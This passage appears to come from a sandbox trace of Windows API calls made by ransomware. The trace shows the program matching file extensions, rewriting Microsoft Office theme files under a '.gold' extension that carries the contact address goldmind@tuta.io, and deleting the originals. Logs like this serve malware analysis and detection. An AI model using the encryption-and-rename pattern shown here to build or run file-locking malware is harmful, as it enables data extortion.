lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0094.956] lstrlenW (lpString=".ppt") returned 4 [0094.956] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0094.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0094.956] lstrlenW (lpString=".zip") returned 4 [0094.956] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0094.956] lstrlenW (lpString=".rar") returned 4 [0094.956] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0094.956] lstrlenW (lpString=".bz2") returned 4 [0094.956] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0094.956] lstrlenW (lpString=".7z") returned 3 [0094.956] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0094.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0094.956] lstrlenW (lpString=".dbf") returned 4 [0094.956] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0094.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0094.956] lstrlenW (lpString=".1cd") returned 4 [0094.956] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0094.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0094.956] lstrlenW (lpString=".jpg") returned 4 [0094.956] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0094.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0094.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0094.956] lstrlenW (lpString=".doc") returned 4 [0094.956] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0094.956] lstrlenW (lpString=".docx") returned 5 [0094.957] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0094.957] lstrlenW (lpString=".pdf") returned 4 [0094.957] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0094.957] lstrlenW (lpString=".xls") returned 4 [0094.957] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0094.957] lstrlenW (lpString=".xlsx") returned 5 [0094.957] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0094.957] lstrlenW (lpString=".ppt") returned 4 [0094.957] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0094.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0094.957] lstrlenW (lpString=".zip") returned 4 [0094.957] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0094.957] lstrlenW (lpString=".rar") returned 4 [0094.957] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0094.957] lstrlenW (lpString=".bz2") returned 4 [0094.957] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0094.957] lstrlenW (lpString=".7z") returned 3 [0094.957] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0094.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0094.957] lstrlenW (lpString=".dbf") returned 4 [0094.957] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0094.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0094.957] lstrlenW (lpString=".1cd") returned 4 [0094.957] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0094.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0094.957] lstrlenW (lpString=".jpg") returned 4 [0094.957] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0094.957] lstrcmpiW (lpString1=".eftx", lpString2=".gold") returned -1 [0094.957] lstrlenW (lpString="Adjacency.eftx") returned 14 [0094.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0094.970] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=21089) returned 1 [0094.970] CloseHandle (hObject=0x3b8) returned 1 [0094.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx")) returned 0x20 [0095.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0095.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0095.003] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.003] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0095.495] GetLastError () returned 0x0 [0095.495] ReadFile (in: hFile=0x398, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x5261, lpOverlapped=0x0) returned 1 [0095.497] WriteFile (in: hFile=0x3a0, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x5270, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x5270, lpOverlapped=0x0) returned 1 [0095.498] ReadFile (in: hFile=0x398, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0095.498] WriteFile (in: hFile=0x3a0, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0095.498] SetEndOfFile (hFile=0x3a0) returned 1 [0095.498] CloseHandle (hObject=0x3a0) returned 1 [0095.498] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.498] SetEndOfFile (hFile=0x398) returned 1 [0095.500] CloseHandle (hObject=0x398) returned 1 [0095.500] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0095.500] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx")) returned 1 [0095.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0095.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0095.501] lstrlenW (lpString=".doc") returned 4 [0095.501] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0095.501] lstrlenW (lpString=".docx") returned 5 [0095.501] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0095.501] lstrlenW (lpString=".pdf") returned 4 [0095.501] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0095.501] lstrlenW (lpString=".xls") returned 4 [0095.501] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0095.501] lstrlenW (lpString=".xlsx") returned 5 [0095.501] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0095.501] lstrlenW (lpString=".ppt") returned 4 [0095.501] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0095.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0095.501] lstrlenW (lpString=".zip") returned 4 [0095.501] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0095.501] lstrlenW (lpString=".rar") returned 4 [0095.501] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0095.501] lstrlenW (lpString=".bz2") returned 4 [0095.501] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0095.501] lstrlenW (lpString=".7z") returned 3 [0095.501] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0095.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0095.501] lstrlenW (lpString=".dbf") returned 4 [0095.501] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0095.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0095.501] lstrlenW (lpString=".1cd") returned 4 [0095.501] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0095.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0095.501] lstrlenW (lpString=".jpg") returned 4 [0095.501] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0095.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0095.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0095.501] lstrlenW (lpString=".doc") returned 4 [0095.502] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0095.502] lstrlenW (lpString=".docx") returned 5 [0095.502] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0095.502] lstrlenW (lpString=".pdf") returned 4 [0095.502] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0095.502] lstrlenW (lpString=".xls") returned 4 [0095.502] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0095.502] lstrlenW (lpString=".xlsx") returned 5 [0095.502] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0095.502] lstrlenW (lpString=".ppt") returned 4 [0095.502] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0095.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0095.502] lstrlenW (lpString=".zip") returned 4 [0095.502] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0095.502] lstrlenW (lpString=".rar") returned 4 [0095.502] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0095.502] lstrlenW (lpString=".bz2") returned 4 [0095.502] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0095.502] lstrlenW (lpString=".7z") returned 3 [0095.502] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0095.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0095.502] lstrlenW (lpString=".dbf") returned 4 [0095.502] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0095.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0095.502] lstrlenW (lpString=".1cd") returned 4 [0095.502] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0095.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0095.502] lstrlenW (lpString=".jpg") returned 4 [0095.502] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0095.502] lstrcmpiW (lpString1=".eftx", lpString2=".gold") returned -1 [0095.502] lstrlenW (lpString="Couture.eftx") returned 12 [0095.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0095.503] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=1967905) returned 1 [0095.503] CloseHandle (hObject=0x398) returned 1 [0095.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx")) returned 0x20 [0095.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0095.503] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0095.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0095.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0095.504] lstrlenW (lpString=".doc") returned 4 [0095.504] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0095.504] lstrlenW (lpString=".docx") returned 5 [0095.504] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0095.504] lstrlenW (lpString=".pdf") returned 4 [0095.504] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0095.504] lstrlenW (lpString=".xls") returned 4 [0095.504] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0095.504] lstrlenW (lpString=".xlsx") returned 5 [0095.504] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0095.504] lstrlenW (lpString=".ppt") returned 4 [0095.504] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0095.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0095.504] lstrlenW (lpString=".zip") returned 4 [0095.504] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0095.504] lstrlenW (lpString=".rar") returned 4 [0095.504] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0095.504] lstrlenW (lpString=".bz2") returned 4 [0095.504] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0095.504] lstrlenW (lpString=".7z") returned 3 [0095.504] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0095.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0095.504] lstrlenW (lpString=".dbf") returned 4 [0095.504] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0095.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0095.504] lstrlenW (lpString=".1cd") returned 4 [0095.504] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0095.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0095.504] lstrlenW (lpString=".jpg") returned 4 [0095.504] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0095.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0095.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0095.504] lstrlenW (lpString=".doc") returned 4 [0095.504] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0095.504] lstrlenW (lpString=".docx") returned 5 [0095.504] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0095.504] lstrlenW (lpString=".pdf") returned 4 [0095.504] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0095.504] lstrlenW (lpString=".xls") returned 4 [0095.504] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0095.504] lstrlenW (lpString=".xlsx") returned 5 [0095.505] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0095.505] lstrlenW (lpString=".ppt") returned 4 [0095.505] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0095.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0095.505] lstrlenW (lpString=".zip") returned 4 [0095.505] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0095.505] lstrlenW (lpString=".rar") returned 4 [0095.505] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0095.505] lstrlenW (lpString=".bz2") returned 4 [0095.505] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0095.505] lstrlenW (lpString=".7z") returned 3 [0095.505] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0095.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0095.505] lstrlenW (lpString=".dbf") returned 4 [0095.505] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0095.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0095.505] lstrlenW (lpString=".1cd") returned 4 [0095.505] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0095.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0095.505] lstrlenW (lpString=".jpg") returned 4 [0095.505] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0095.505] lstrcmpiW (lpString1=".eftx", lpString2=".gold") returned -1 [0095.505] lstrlenW (lpString="Elemental.eftx") returned 14 [0095.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0095.508] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=314017) returned 1 [0095.508] CloseHandle (hObject=0x398) returned 1 [0095.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx")) returned 0x20 [0095.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0095.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0095.509] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.509] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0095.509] GetLastError () returned 0x0 [0095.509] ReadFile (in: hFile=0x398, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x4caa1, lpOverlapped=0x0) returned 1 [0095.516] WriteFile (in: hFile=0x3a0, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x4cab0, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x4cab0, lpOverlapped=0x0) returned 1 [0095.520] ReadFile (in: hFile=0x398, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0095.520] WriteFile (in: hFile=0x3a0, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0095.521] SetEndOfFile (hFile=0x3a0) returned 1 [0095.521] CloseHandle (hObject=0x3a0) returned 1 [0095.521] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.521] SetEndOfFile (hFile=0x398) returned 1 [0095.526] CloseHandle (hObject=0x398) returned 1 [0095.526] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0095.527] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx")) returned 1 [0095.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0095.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0095.527] lstrlenW (lpString=".doc") returned 4 [0095.527] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0095.527] lstrlenW (lpString=".docx") returned 5 [0095.527] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0095.527] lstrlenW (lpString=".pdf") returned 4 [0095.527] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0095.527] lstrlenW (lpString=".xls") returned 4 [0095.527] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0095.527] lstrlenW (lpString=".xlsx") returned 5 [0095.527] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0095.527] lstrlenW (lpString=".ppt") returned 4 [0095.527] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0095.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0095.528] lstrlenW (lpString=".zip") returned 4 [0095.528] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0095.528] lstrlenW (lpString=".rar") returned 4 [0095.528] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0095.528] lstrlenW (lpString=".bz2") returned 4 [0095.528] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0095.528] lstrlenW (lpString=".7z") returned 3 [0095.528] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0095.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0095.528] lstrlenW (lpString=".dbf") returned 4 [0095.528] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0095.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0095.528] lstrlenW (lpString=".1cd") returned 4 [0095.528] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0095.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0095.528] lstrlenW (lpString=".jpg") returned 4 [0095.528] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0095.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0095.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0095.722] lstrlenW (lpString=".doc") returned 4 [0095.722] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0095.722] lstrlenW (lpString=".docx") returned 5 [0095.722] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0095.722] lstrlenW (lpString=".pdf") returned 4 [0095.722] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0095.722] lstrlenW (lpString=".xls") returned 4 [0095.722] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0095.723] lstrlenW (lpString=".xlsx") returned 5 [0095.723] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0095.723] lstrlenW (lpString=".ppt") returned 4 [0095.723] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0095.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0095.725] lstrlenW (lpString=".zip") returned 4 [0095.725] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0095.725] lstrlenW (lpString=".rar") returned 4 [0095.725] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0095.725] lstrlenW (lpString=".bz2") returned 4 [0095.725] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0095.725] lstrlenW (lpString=".7z") returned 3 [0095.725] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0095.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0095.725] lstrlenW (lpString=".dbf") returned 4 [0095.725] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0095.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0095.726] lstrlenW (lpString=".1cd") returned 4 [0095.726] lstrcmpiW (lpString1=".1cd", lpString2="eftx") 